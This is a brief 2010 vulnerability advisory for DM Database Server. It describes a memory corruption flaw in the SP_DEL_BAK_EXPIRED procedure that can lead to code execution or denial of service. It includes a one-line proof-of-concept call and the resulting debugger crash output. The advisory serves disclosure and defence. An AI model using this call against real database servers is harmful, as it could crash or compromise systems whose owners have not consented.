DM Database Server Memory Corruption Vulnerability

Vulnerable: All Version

Vendor: www.dameng.com

Discovered by: Shennan Wang (HuaweiSymantec SRT)

Details:

=========

A vulnerability in DM Database Server all version allows attacker to execute arbitrary code or cause a DoS (Denial of

Service).Authentication is required to exploit this vulnerability.

The specific flaw exists within the SP_DEL_BAK_EXPIRED procedure.

POC:

=========

CALL SP_DEL_BAK_EXPIRED('AAAAAAAAAAAAAAAAAAAA', '');

(458.5fc): Access violation - code c0000005 (!!! second chance !!!)

eax=00000000 ebx=02d3d430 ecx=ffffffff edx=074ecfd0 esi=074ed37c edi=0000041c

eip=100d1753 esp=074eccec ebp=074ed1fc iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

*** WARNING: Unable to verify checksum for C:\dmdbms\bin\wdm_dll.dll

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\dmdbms\bin\wdm_dll.dll -

wdm_dll+0xd1753:

100d1753 f2ae repne scas byte ptr es:[edi]

0:009> da ebp

074ed1fc "AAAAAAAAAAAAAAAAAAAA"

Timeline:

========

2010.04.17 Report to vendor,no response.

2010.05.31 Public

[ reply ]